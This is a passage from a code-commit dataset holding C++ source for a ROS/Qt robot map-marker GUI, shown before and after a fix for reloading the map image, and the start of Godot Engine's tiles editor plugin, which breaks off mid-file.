{\n\t\t\t\tpen.setColor(orange);\n\t\t\t}\n\n\t\t\tp1.setX(ConvertRobotToPixel(markers[i].GetX()));\n\t\t\tp1.setY(ConvertRobotToPixel(markers[i].GetY()));\n\n\t\t\tqp->setPen(pen);\n\t\t\tqp->drawPoint(p1);\n\t\t\tROS_INFO(\"Marker\");\n\t\t}\n\n\t\tp1.setX(ConvertRobotToPixel(pos.position.x));\n\t\tp1.setY(ConvertRobotToPixel(pos.position.y));\n\n\t\tpen.setColor(blue);\n\n\t\tqp->setPen(pen);\n\t\tqp->drawPoint(p1);\t\t\n    }\n\n\tvoid MainWindow::lblMapImage_clicked(QPoint a) {\n\t\tQString x = QString::number(ConvertPixelToRobot(a.x()));\n\t\tQString y = QString::number(ConvertPixelToRobot(a.y()));\n\t\tui.inpCustomX->setText(x);\n\t\tui.inpCustomY->setText(y);\n\t}\n\n\tvoid MainWindow::on_btnLoadYaml_clicked() {\n\t\tQFileDialog dialog(this);\n\t\tdialog.setFileMode(QFileDialog::AnyFile);\n\t\tdialog.setNameFilter(tr(\"Map image file (*.yaml)\"));\n\n\t\tQStringList fileNames;\n\t\tif (dialog.exec())\n\t\tfileNames = dialog.selectedFiles();\n\n\t\tyaml.loadYaml(fileNames[0].toUtf8().constData());\n\t\tmapConfig.setFullConfigData(yaml.parsedYaml);\n\n\t}\n\n\tvoid MainWindow::on_btnLoadMap_clicked() {\n\t\tQFileDialog dialog(this);\n\t\tdialog.setFileMode(QFileDialog::AnyFile);\n\t\tdialog.setNameFilter(tr(\"Map image file (*.pbm *.pgm *.ppm)\"));\n\n\t\tQStringList fileNames;\n\t\tif (dialog.exec())\n\t\tfileNames = dialog.selectedFiles();\n\n\t\tmap = new QPixmap(fileNames[0]);\n\t\t\tlblMapImage->setPixmap(*map);\n\t}\n\n\tvoid MainWindow::on_btnWriteYaml_clicked() {\n\t\tROS_ERROR(\"Not implemented yet :(\");\n\t}\n\n\tvoid MainWindow::on_btnClearYaml_clicked() {\n\t\tROS_ERROR(\"Not implemented yet :(\");\n\t}\n\n\tvoid MainWindow::on_btnAddCurrentPose_clicked() {\n\t\tgeometry_msgs::Pose pos = qnode.GetRobotPosition();\n\n\t\tMarkerType type;\n\t\tif(ui.radioNav->isChecked()) {\n\t\t\ttype = Navigation;\n\t\t} else if (ui.radioWorkspace->isChecked()) {\n\t\t\ttype = Workspace;\n\t\t}\n\n\t\tAddMarker(Marker(pos, type));\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnAddCustomPose_clicked() {\n\t\tdouble x = ui.inpCustomX->text().toDouble();\n\t\tdouble y = ui.inpCustomY->text().toDouble();\n\t\tdouble angle = ui.inpCustomAngle->text().toDouble();\n\t\t\n\t\tMarkerType type;\n\t\tif(ui.radioNav->isChecked()) {\n\t\t\ttype = Navigation;\n\t\t} else if (ui.radioWorkspace->isChecked()) {\n\t\t\ttype = Workspace;\n\t\t}\n\t\t\n\t\tAddMarker(Marker(x, y, angle, type));\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnMoveRobot_clicked() {\n\t\tint index = GetSelectedMarker();\n\t\tif(index == -1) {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t\treturn;\n\t\t} \n\t\tMarker * m = &markers[index];\n\t\tqnode.MoveRobotToPose(m->GetPose());\n\t}\n\n\tvoid MainWindow::on_btnRemoveMarker_clicked() {\n\t\tint index = GetSelectedMarker();\n\t\tif(index == -1) {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t\treturn;\n\t\t} \n\t\tmarkers.erase(markers.begin()+index);\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnPanic_clicked() {\n\t\tqnode.Panic();\n\t\tROS_INFO(\"Panic button pressed, stopped robot...\");\n\t}\n\n\tvoid MainWindow::on_btnMoveMarkerUp_clicked() {\n\t\tint selectedMarker = GetSelectedMarker();\n\t\tMoveMarkerUp(selectedMarker);\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnMoveMarkerDown_clicked() {\n\t\tint selectedMarker = GetSelectedMarker();\n\t\tMoveMarkerDown(selectedMarker);\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnClearAllMarkers_clicked() {\n\t\tmarkers.clear();\n\t\tUpdateTable();\n\t}\n\n\tint MainWindow::GetSelectedMarker() {\n\t\tint j = -1;\n\t\tQModelIndexList indexes = ui.tableWidget->selectionModel()->selectedRows();\n\n\t\tfor (int i = 0; i < indexes.count(); ++i) {    \n\t\t\tj = indexes.at(i).row();\n\t\t}\n\n\t\treturn j;\n\t}\n\n\tvoid MainWindow::AddMarker(Marker marker) {\n\t\tmarkers.push_back(marker);\n\t}\n\n\tvoid MainWindow::MoveMarkerUp(int selectedMarker) {\n\t\tif(selectedMarker + 1 < markers.size() && selectedMarker >= 0) {\n\t\t\tstd::swap(markers.at(selectedMarker), markers.at(selectedMarker + 1));\n\t\t} else {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t}\n\t}\n\n\tvoid MainWindow::MoveMarkerDown(int selectedMarker) {\n\t\tif(selectedMarker > 0) {\n\t\t\tstd::swap(markers.at(selectedMarker), markers.at(selectedMarker - 1));\n\t\t} else {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t}\n\t}\n\n\tvoid MainWindow::UpdateTable() {\n\t\tui.tableWidget->setRowCount(0);\n\t\tfor(int i=0; i < markers.size(); i++) {\n\t\t\tui.tableWidget->insertRow ( ui.tableWidget->rowCount() );\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 0, new QTableWidgetItem(QString::fromStdString(markers[i].GetTypeStr())));\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 1, new QTableWidgetItem(QString::number(markers[i].GetX())));\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 2, new QTableWidgetItem(QString::number(markers[i].GetY())));\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 3, new QTableWidgetItem(QString::number(markers[i].GetAngle())));\n\t\t}\n\n\t\tUpdateWindow();\n\t}\n\n\tvoid MainWindow::UpdateWindow() {\n\t\t\/\/ Update window - draw map and points again\n\t\tthis->update();\n\t}\n\n\tint MainWindow::ConvertRobotToPixel(double a) {\n\t\treturn (a - map_min) * (map_pix - 0) \/ (map_max - map_min);\n\t}\n\n\tdouble MainWindow::ConvertPixelToRobot(int a) {\n\t\treturn (a) * (map_max - map_min) \/ (map_pix) + map_min;\n\t}\n}\n<commit_msg>Fixed load new image bug<commit_after>#include <QtGui>\n#include <QMessageBox>\n#include <QFileDialog>\n#include <QGraphicsScene>\n#include <iostream>\n#include <algorithm>\n#include \"main_window.hpp\"\n\n#include <QDebug>\n\n#include \"geometry_msgs\/Pose.h\"\n\nusing namespace Qt;\n\nnamespace map_marker {\n\n\tconst double map_min = -5;\n\tconst double map_max = 5;\n\tconst double map_pix = 992;\n\n\tconst QColor red = QColor(180, 40, 0);\n\tconst QColor blue = QColor(30, 30, 140);\n\tconst QColor green = QColor(50, 140, 30);\n\tconst QColor orange = QColor(230, 120, 0);\n\n\n\tMainWindow::MainWindow(int argc, char** argv, QWidget *parent) : QMainWindow(parent), qnode(argc,argv) {\n\t\tui.setupUi(this);\n\t\tqnode.init();\n\n\t\t\/\/ Connect list update to draw function\n\t\tQObject::connect(ui.tableWidget->selectionModel(), SIGNAL(selectionChanged(const QItemSelection &, const QItemSelection &)), SLOT(UpdateWindow()));\n\n\t\t\/\/ Load map image\n\t\tQString url = \"\/home\/lars\/git\/ESA-PROJ\/maps\/legomap3-cropped.pgm\";\n\t\tmap = new QPixmap(url);\n\n\t\t\/\/ Ttable editing\n\t\tui.tableWidget->setEditTriggers(QAbstractItemView::NoEditTriggers);\n\t\tui.tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);\n\t\tui.tableWidget->setSelectionMode(QAbstractItemView::SingleSelection);\n\n\t\t\/\/ Create map image\n\t\tlblMapImage = new ClickableLabel(this);\n\t\tlblMapImage->setAlignment(Qt::AlignBottom | Qt::AlignRight);\n\t\tlblMapImage->setGeometry(QRect(0, 0, map_pix, map_pix));\n\t\tQObject::connect(lblMapImage, SIGNAL(clicked(QPoint)), this, SLOT(lblMapImage_clicked(QPoint)));\n\n\t\t\/\/ Set validator for input fields\n\t\tui.inpCustomX->setValidator(new QDoubleValidator(-100, 100, 5, ui.inpCustomX));\n\t\tui.inpCustomY->setValidator(new QDoubleValidator(-100, 100, 5, ui.inpCustomY));\n\t\tui.inpCustomAngle->setValidator(new QDoubleValidator(0, 360, 5, ui.inpCustomAngle));\n\n\t\t\/\/ Panic button color\n\t\tui.btnPanic->setStyleSheet(\"color: rgb(192,0,0);\");\n\n\t\t\/\/ Add marker for testing\n\t\tMarker m(1.0, 2.0, 40.0, Navigation);\n\t\tAddMarker(m);\n\n\t\tUpdateTable();\n\t}\n\n\tMainWindow::~MainWindow() {\n\t\tdelete map;\n\t\tdelete lblMapImage;\n\n\t}\n\n\tvoid MainWindow::paintEvent(QPaintEvent *e) {\n        \n      Q_UNUSED(e);\n      \n      QPainter qp(this);\n\n      qp.drawPixmap(0, 0, map_pix, map_pix, *map);\n      drawMarkers(&qp);\n    }\n\n    void MainWindow::drawMarkers(QPainter *qp) {\n\t\tQPen pen(Qt::black, 2, Qt::SolidLine);  \n\t\tgeometry_msgs::Pose pos = qnode.GetRobotPosition();\n\t\tQPoint p1;\n\n\t\tpen.setWidth(10);\n\n\t\tfor(int i = 0; i < markers.size(); i++) {\n\t\t\t\n\t\t\tif(i == GetSelectedMarker()) {\n\t\t\t\tpen.setColor(red);\n\t\t\t} else if(markers[i].GetType() == Workspace) {\n\t\t\t\tpen.setColor(green);\n\t\t\t} else {\n\t\t\t\tpen.setColor(orange);\n\t\t\t}\n\n\t\t\tp1.setX(ConvertRobotToPixel(markers[i].GetX()));\n\t\t\tp1.setY(ConvertRobotToPixel(markers[i].GetY()));\n\n\t\t\tqp->setPen(pen);\n\t\t\tqp->drawPoint(p1);\n\t\t\tROS_INFO(\"Marker\");\n\t\t}\n\n\t\tp1.setX(ConvertRobotToPixel(pos.position.x));\n\t\tp1.setY(ConvertRobotToPixel(pos.position.y));\n\n\t\tpen.setColor(blue);\n\n\t\tqp->setPen(pen);\n\t\tqp->drawPoint(p1);\t\t\n    }\n\n\tvoid MainWindow::lblMapImage_clicked(QPoint a) {\n\t\tQString x = QString::number(ConvertPixelToRobot(a.x()));\n\t\tQString y = QString::number(ConvertPixelToRobot(a.y()));\n\t\tui.inpCustomX->setText(x);\n\t\tui.inpCustomY->setText(y);\n\t}\n\n\tvoid MainWindow::on_btnLoadYaml_clicked() {\n\t\tQFileDialog dialog(this);\n\t\tdialog.setFileMode(QFileDialog::AnyFile);\n\t\tdialog.setNameFilter(tr(\"Map image file (*.yaml)\"));\n\n\t\tQStringList fileNames;\n\t\tif (dialog.exec())\n\t\tfileNames = dialog.selectedFiles();\n\n\t\tyaml.loadYaml(fileNames[0].toUtf8().constData());\n\t\tmapConfig.setFullConfigData(yaml.parsedYaml);\n\n\t}\n\n\tvoid MainWindow::on_btnLoadMap_clicked() {\n\t\tQFileDialog dialog(this);\n\t\tdialog.setFileMode(QFileDialog::AnyFile);\n\t\tdialog.setNameFilter(tr(\"Map image file (*.pbm *.pgm *.ppm)\"));\n\n\t\tQStringList fileNames;\n\t\tif (dialog.exec())\n\t\tfileNames = dialog.selectedFiles();\n\n\t\tmap = new QPixmap(fileNames[0]);\n\t\tUpdateWindow();\n\t}\n\n\tvoid MainWindow::on_btnWriteYaml_clicked() {\n\t\tROS_ERROR(\"Not implemented yet :(\");\n\t}\n\n\tvoid MainWindow::on_btnClearYaml_clicked() {\n\t\tROS_ERROR(\"Not implemented yet :(\");\n\t}\n\n\tvoid MainWindow::on_btnAddCurrentPose_clicked() {\n\t\tgeometry_msgs::Pose pos = qnode.GetRobotPosition();\n\n\t\tMarkerType type;\n\t\tif(ui.radioNav->isChecked()) {\n\t\t\ttype = Navigation;\n\t\t} else if (ui.radioWorkspace->isChecked()) {\n\t\t\ttype = Workspace;\n\t\t}\n\n\t\tAddMarker(Marker(pos, type));\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnAddCustomPose_clicked() {\n\t\tdouble x = ui.inpCustomX->text().toDouble();\n\t\tdouble y = ui.inpCustomY->text().toDouble();\n\t\tdouble angle = ui.inpCustomAngle->text().toDouble();\n\t\t\n\t\tMarkerType type;\n\t\tif(ui.radioNav->isChecked()) {\n\t\t\ttype = Navigation;\n\t\t} else if (ui.radioWorkspace->isChecked()) {\n\t\t\ttype = Workspace;\n\t\t}\n\t\t\n\t\tAddMarker(Marker(x, y, angle, type));\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnMoveRobot_clicked() {\n\t\tint index = GetSelectedMarker();\n\t\tif(index == -1) {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t\treturn;\n\t\t} \n\t\tMarker * m = &markers[index];\n\t\tqnode.MoveRobotToPose(m->GetPose());\n\t}\n\n\tvoid MainWindow::on_btnRemoveMarker_clicked() {\n\t\tint index = GetSelectedMarker();\n\t\tif(index == -1) {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t\treturn;\n\t\t} \n\t\tmarkers.erase(markers.begin()+index);\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnPanic_clicked() {\n\t\tqnode.Panic();\n\t\tROS_INFO(\"Panic button pressed, stopped robot...\");\n\t}\n\n\tvoid MainWindow::on_btnMoveMarkerUp_clicked() {\n\t\tint selectedMarker = GetSelectedMarker();\n\t\tMoveMarkerUp(selectedMarker);\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnMoveMarkerDown_clicked() {\n\t\tint selectedMarker = GetSelectedMarker();\n\t\tMoveMarkerDown(selectedMarker);\n\t\tUpdateTable();\n\t}\n\n\tvoid MainWindow::on_btnClearAllMarkers_clicked() {\n\t\tmarkers.clear();\n\t\tUpdateTable();\n\t}\n\n\tint MainWindow::GetSelectedMarker() {\n\t\tint j = -1;\n\t\tQModelIndexList indexes = ui.tableWidget->selectionModel()->selectedRows();\n\n\t\tfor (int i = 0; i < indexes.count(); ++i) {    \n\t\t\tj = indexes.at(i).row();\n\t\t}\n\n\t\treturn j;\n\t}\n\n\tvoid MainWindow::AddMarker(Marker marker) {\n\t\tmarkers.push_back(marker);\n\t}\n\n\tvoid MainWindow::MoveMarkerUp(int selectedMarker) {\n\t\tif(selectedMarker + 1 < markers.size() && selectedMarker >= 0) {\n\t\t\tstd::swap(markers.at(selectedMarker), markers.at(selectedMarker + 1));\n\t\t} else {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t}\n\t}\n\n\tvoid MainWindow::MoveMarkerDown(int selectedMarker) {\n\t\tif(selectedMarker > 0) {\n\t\t\tstd::swap(markers.at(selectedMarker), markers.at(selectedMarker - 1));\n\t\t} else {\n\t\t\tROS_WARN(\"No marker selected\");\n\t\t}\n\t}\n\n\tvoid MainWindow::UpdateTable() {\n\t\tui.tableWidget->setRowCount(0);\n\t\tfor(int i=0; i < markers.size(); i++) {\n\t\t\tui.tableWidget->insertRow ( ui.tableWidget->rowCount() );\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 0, new QTableWidgetItem(QString::fromStdString(markers[i].GetTypeStr())));\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 1, new QTableWidgetItem(QString::number(markers[i].GetX())));\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 2, new QTableWidgetItem(QString::number(markers[i].GetY())));\n\t\t\tui.tableWidget->setItem(ui.tableWidget->rowCount()-1, 3, new QTableWidgetItem(QString::number(markers[i].GetAngle())));\n\t\t}\n\n\t\tUpdateWindow();\n\t}\n\n\tvoid MainWindow::UpdateWindow() {\n\t\t\/\/ Update window - draw map and points again\n\t\tthis->update();\n\t}\n\n\tint MainWindow::ConvertRobotToPixel(double a) {\n\t\treturn (a - map_min) * (map_pix - 0) \/ (map_max - map_min);\n\t}\n\n\tdouble MainWindow::ConvertPixelToRobot(int a) {\n\t\treturn (a) * (map_max - map_min) \/ (map_pix) + map_min;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\/\n\/*  tiles_editor_plugin.cpp                                              *\/\n\/*************************************************************************\/\n\/*                       This file is part of:                           *\/\n\/*                           GODOT ENGINE                                *\/\n\/*                      https:\/\/godotengine.org                          *\/\n\/*************************************************************************\/\n\/* Copyright (c) 2007-2021 Juan Linietsky, Ariel Manzur.                 *\/\n\/* Copyright (c) 2014-2021 Godot Engine contributors (cf. AUTHORS.md).   *\/\n\/*                                                                       *\/\n\/* Permission is hereby granted, free of charge, to any person obtaining *\/\n\/* a copy of this software and associated documentation files (the       *\/\n\/* \"Software\"), to deal in the Software without restriction, including   *\/\n\/* without limitation the rights to use, copy, modify, merge, publish,   *\/\n\/* distribute, sublicense, and\/or sell copies of the Software, and to    *\/\n\/* permit persons to whom the Software is furnished to do so, subject to *\/\n\/* the following conditions:                                             *\/\n\/*                                                                       *\/\n\/* The above copyright notice and this permission notice shall be        *\/\n\/* included in all copies or substantial portions of the Software.       *\/\n\/*                                                                       *\/\n\/* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,       *\/\n\/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF    *\/\n\/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*\/\n\/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY  *\/\n\/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,  *\/\n\/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE     *\/\n\/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.                *\/\n\/*************************************************************************\/\n\n#include \"tiles_editor_plugin.h\"\n\n#include \"core\/os\/mutex.h\"\n\n#include \"editor\/editor_node.h\"\n#include \"editor\/editor_scale.h\"\n#include \"editor\/plugins\/canvas_item_editor_plugin.h\"\n\n#include \"scene\/2d\/tile_map.h\"\n#include \"scene\/gui\/box_container.h\"\n#include \"scene\/gui\/button.h\"\n#include \"scene\/gui\/control.h\"\n#include \"scene\/gui\/separator.h\"\n#include \"scene\/resources\/tile_set.h\"\n\n#include \"tile_set_editor.h\"\n\nTilesEditorPlugin *TilesEditorPlugin::singleton = nullptr;\n\nvoid TilesEditorPlugin::_preview_frame_started() {\n\tRS::get_singleton()->request_frame_drawn_callback(callable_mp(const_cast<TilesEditorPlugin *>(this), &TilesEditorPlugin::_pattern_preview_done));\n}\n\nvoid TilesEditorPlugin::_pattern_preview_done() {\n\tpattern_preview_done.post();\n}\n\nvoid TilesEditorPlugin::_thread_func(void *ud) {\n\tTilesEditorPlugin *te = (TilesEditorPlugin *)ud;\n\tte->_thread();\n}\n\nvoid TilesEditorPlugin::_thread() {\n\tpattern_thread_exited.clear();\n\twhile (!pattern_thread_exit.is_set()) {\n\t\tpattern_preview_sem.wait();\n\n\t\tpattern_preview_mutex.lock();\n\t\tif (pattern_preview_queue.size()) {\n\t\t\tQueueItem item = pattern_preview_queue.front()->get();\n\t\t\tpattern_preview_queue.pop_front();\n\t\t\tpattern_preview_mutex.unlock();\n\n\t\t\tint thumbnail_size = EditorSettings::get_singleton()->get(\"filesystem\/file_dialog\/thumbnail_size\");\n\t\t\tthumbnail_size *= EDSCALE;\n\t\t\tVector2 thumbnail_size2 = Vector2(thumbnail_size, thumbnail_size);\n\n\t\t\tif (item.pattern.is_valid() && !item.pattern->is_empty()) {\n\t\t\t\t\/\/ Generate the pattern preview\n\t\t\t\tSubViewport *viewport = memnew(SubViewport);\n\t\t\t\tviewport->set_size(thumbnail_size2);\n\t\t\t\tviewport->set_disable_input(true);\n\t\t\t\tviewport->set_transparent_background(true);\n\t\t\t\tviewport->set_update_mode(SubViewport::UPDATE_ONCE);\n\n\t\t\t\tTileMap *tile_map = memnew(TileMap);\n\t\t\t\ttile_map->set_tileset(item.tile_set);\n\t\t\t\ttile_map->set_pattern(0, Vector2(), item.pattern);\n\t\t\t\tviewport->add_child(tile_map);\n\n\t\t\t\tTypedArray<Vector2i> used_cells = tile_map->get_used_cells(0);\n\n\t\t\t\tRect2 encompassing_rect = Rect2();\n\t\t\t\tencompassing_rect.set_position(tile_map->map_to_world(used_cells[0]));\n\t\t\t\tfor (int i = 0; i < used_cells.size(); i++) {\n\t\t\t\t\tVector2i cell = used_cells[i];\n\t\t\t\t\tVector2 world_pos = tile_map->map_to_world(cell);\n\t\t\t\t\tencompassing_rect.expand_to(world_pos);\n\n\t\t\t\t\t\/\/ Texture.\n\t\t\t\t\tRef<TileSetAtlasSource> atlas_source = tile_set->get_source(tile_map->get_cell_source_id(0, cell));\n\t\t\t\t\tif (atlas_source.is_valid()) {\n\t\t\t\t\t\tVector2i coords = tile_map->get_cell_atlas_coords(0, cell);\n\t\t\t\t\t\tint alternative = tile_map->get_cell_alternative_tile(0, cell);\n\n\t\t\t\t\t\tVector2 center = world_pos - atlas_source->get_tile_effective_texture_offset(coords, alternative);\n\t\t\t\t\t\tencompassing_rect.expand_to(center - atlas_source->get_tile_texture_region(coords).size \/ 2);\n\t\t\t\t\t\tencompassing_rect.expand_to(center + atlas_source->get_tile_texture_region(coords).size \/ 2);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tVector2 scale = thumbnail_size2 \/ MAX(encompassing_rect.size.x, encompassing_rect.size.y);\n\t\t\t\ttile_map->set_scale(scale);\n\t\t\t\ttile_map->set_position(-(scale * encompassing_rect.get_center()) + thumbnail_size2 \/ 2);\n\n\t\t\t\t\/\/ Add the viewport at the lasst moment to avoid rendering too early.\n\t\t\t\tEditorNode::get_singleton()->add_child(viewport);\n\n\t\t\t\tRS::get_singleton()->connect(SNAME(\"frame_pre_draw\"), callable_mp(const_cast<TilesEditorPlugin *>(this), &TilesEditorPlugin::_preview_frame_started), Vector<Variant>(), Object::CONNECT_ONESHOT);\n\n\t\t\t\tpattern_preview_done.wait();\n\n\t\t\t\tRef<Image> image = viewport->get_texture()->get_image();\n\t\t\t\tRef<ImageTexture> image_texture;\n\t\t\t\timage_texture.instantiate();\n\t\t\t\timage_texture->create_from_image(image);\n\n\t\t\t\t\/\/ Find the index for the given pattern. TODO: optimize.\n\t\t\t\tVariant args[] = { item.pattern, image_texture };\n\t\t\t\tconst Variant *args_ptr[] = { &args[0], &args[1] };\n\t\t\t\tVariant r;\n\t\t\t\tCallable::CallError error;\n\t\t\t\titem.callback.call(args_ptr, 2, r, error);\n\n\t\t\t\tviewport->queue_delete();\n\t\t\t} else {\n\t\t\t\tpattern_preview_mutex.unlock();\n\t\t\t}\n\t\t}\n\t}\n\tpattern_thread_exited.set();\n}\n\nvoid TilesEditorPlugin::_tile_map_changed() {\n\ttile_map_changed_needs_update = true;\n}\n\nvoid TilesEditorPlugin::_update_editors() {\n\t\/\/ If tile_map is not edited, we change the edited only if we are not editing a tile_set.\n\ttileset_editor->edit(tile_set);\n\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\tif (tile_map) {\n\t\ttilemap_editor->edit(tile_map);\n\t} else {\n\t\ttilemap_editor->edit(nullptr);\n\t}\n\n\t\/\/ Update the viewport.\n\tCanvasItemEditor::get_singleton()->update_viewport();\n}\n\nvoid TilesEditorPlugin::_notification(int p_what) {\n\tswitch (p_what) {\n\t\tcase NOTIFICATION_INTERNAL_PROCESS: {\n\t\t\tif (tile_map_changed_needs_update) {\n\t\t\t\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\t\t\t\tif (tile_map) {\n\t\t\t\t\ttile_set = tile_map->get_tileset();\n\t\t\t\t}\n\t\t\t\t_update_editors();\n\t\t\t\ttile_map_changed_needs_update = false;\n\t\t\t}\n\t\t} break;\n\t}\n}\n\nvoid TilesEditorPlugin::make_visible(bool p_visible) {\n\tif (p_visible) {\n\t\t\/\/ Disable and hide invalid editors.\n\t\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\t\ttileset_editor_button->set_visible(tile_set.is_valid());\n\t\ttilemap_editor_button->set_visible(tile_map);\n\t\tif (tile_map) {\n\t\t\teditor_node->make_bottom_panel_item_visible(tilemap_editor);\n\t\t} else {\n\t\t\teditor_node->make_bottom_panel_item_visible(tileset_editor);\n\t\t}\n\n\t} else {\n\t\ttileset_editor_button->hide();\n\t\ttilemap_editor_button->hide();\n\t\teditor_node->hide_bottom_panel();\n\t}\n}\n\nvoid TilesEditorPlugin::queue_pattern_preview(Ref<TileSet> p_tile_set, Ref<TileMapPattern> p_pattern, Callable p_callback) {\n\tERR_FAIL_COND(!p_tile_set.is_valid());\n\tERR_FAIL_COND(!p_pattern.is_valid());\n\t{\n\t\tMutexLock lock(pattern_preview_mutex);\n\t\tpattern_preview_queue.push_back({ p_tile_set, p_pattern, p_callback });\n\t}\n\tpattern_preview_sem.post();\n}\n\nvoid TilesEditorPlugin::set_sources_lists_current(int p_current) {\n\tatlas_sources_lists_current = p_current;\n}\n\nvoid TilesEditorPlugin::synchronize_sources_list(Object *p_current) {\n\tItemList *item_list = Object::cast_to<ItemList>(p_current);\n\tERR_FAIL_COND(!item_list);\n\n\tif (item_list->is_visible_in_tree()) {\n\t\tif (atlas_sources_lists_current < 0 || atlas_sources_lists_current >= item_list->get_item_count()) {\n\t\t\titem_list->deselect_all();\n\t\t} else {\n\t\t\titem_list->set_current(atlas_sources_lists_current);\n\t\t\titem_list->emit_signal(SNAME(\"item_selected\"), atlas_sources_lists_current);\n\t\t}\n\t}\n}\n\nvoid TilesEditorPlugin::set_atlas_view_transform(float p_zoom, Vector2 p_scroll) {\n\tatlas_view_zoom = p_zoom;\n\tatlas_view_scroll = p_scroll;\n}\n\nvoid TilesEditorPlugin::synchronize_atlas_view(Object *p_current) {\n\tTileAtlasView *tile_atlas_view = Object::cast_to<TileAtlasView>(p_current);\n\tERR_FAIL_COND(!tile_atlas_view);\n\n\tif (tile_atlas_view->is_visible_in_tree()) {\n\t\ttile_atlas_view->set_transform(atlas_view_zoom, atlas_view_scroll);\n\t}\n}\n\nvoid TilesEditorPlugin::edit(Object *p_object) {\n\t\/\/ Disconnect to changes.\n\tTileMap *tile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\tif (tile_map) {\n\t\ttile_map->disconnect(\"changed\", callable_mp(this, &TilesEditorPlugin::_tile_map_changed));\n\t}\n\n\t\/\/ Update edited objects.\n\ttile_set = Ref<TileSet>();\n\tif (p_object) {\n\t\tif (p_object->is_class(\"TileMap\")) {\n\t\t\ttile_map_id = p_object->get_instance_id();\n\t\t\ttile_map = Object::cast_to<TileMap>(ObjectDB::get_instance(tile_map_id));\n\t\t\ttile_set = tile_map->get_tileset();\n\t\t\teditor_node->make_bottom_panel_item_visible(tilemap_editor);\n\t\t} else if (p_object->is_class(\"TileSet\")) {\n\t\t\ttile_set = Ref<TileSet>(p_object);\n\t\t\tif (tile_map) {\n\t\t\t\tif (tile_map->get_tileset() != tile_set || !tile_map->is_inside_tree()) {\n\t\t\t\t\ttile_map = nullptr;\n\t\t\t\t\ttile_map_id = ObjectID();\n\t\t\t\t}\n\t\t\t}\n\t\t\teditor_node->make_bottom_panel_item_visible(tileset_editor);\n\t\t}\n\t}\n\n\t\/\/ Update the editors.\n\t_update_editors();\n\n\t\/\/ Add change listener.\n\tif (tile_map) {\n\t\ttile_map->connect(\"changed\", callable_mp(this, &TilesEditorPlugin::_tile_map_changed));\n\t}\n}\n\nbool TilesEditorPlugin::handles(Object *p_object) const {\n\treturn p_object->is_class(\"TileMap\") || p_object->is_class(\"TileSet\");\n}\n\nTilesEditorPlugin::TilesEditorPlugin(EditorNode *p_node) {\n\tset_process_internal(true);\n\n\t\/\/ Update the singleton.\n\tsingleton = this;\n\n\teditor_node = p_node;\n\n\t\/\/ Tileset editor.\n\ttileset_editor = memnew(TileSetEditor);\n\ttileset_editor->set_h_size_flags(Control::SIZE_EXPAND_FILL);\n\ttileset_editor->set_v_size_flags(Control::SIZE_EXPAND_FILL);\n\ttileset_editor->set_custom_minimum_size(Size2(0, 200) * EDSCALE);\n\ttileset_editor->hide();\n\n\t\/\/ Tilemap editor.\n\ttilemap_editor = memnew(TileMapEditor);\n\ttilemap_editor->set_h_size_flags(Control::SIZE_EXPAND_FILL);\n\ttilemap_editor->set_v_size_flags(Control::SIZE_EXPAND_FILL);\n\ttilemap_editor->set_custom_minimum_size(Size2(0, 200) * EDSCALE);\n\ttilemap_editor->hide();\n\n\t\/\/ Pattern preview generation thread.\n\tpattern_preview_thread.start(_thread_func, this);\n\n\t\/\/ Bottom buttons.\n\ttileset_editor_button = p_node->add_bottom_panel_item(TTR(\"TileSet\"), tileset_editor);\n\ttileset_editor_button->hide();\n\ttilemap_editor_button = p_node->add_bottom_panel_item(TTR(\"TileMap\"), tilemap_editor);\n\ttilemap_editor_button->hide();\n\n\t\/\/ Initialization.\n\t_update_editors();\n}\n\nTilesEditorPlugin::~TilesEditorPlugin() {\n\tif (pattern_preview_thread.is_started()) {\n\t\tpattern_thread_exit.set();\n\t\tpattern_preview_sem.post();\n\t\twhile (!pattern_thread_exited.is_set()) {\n\t\t\tOS::get_singleton()->delay_usec(10000);\n\t\t\tRenderingServer::get_singleton()->sync(); \/\/sync pending stuff, as thread may be blocked on visual 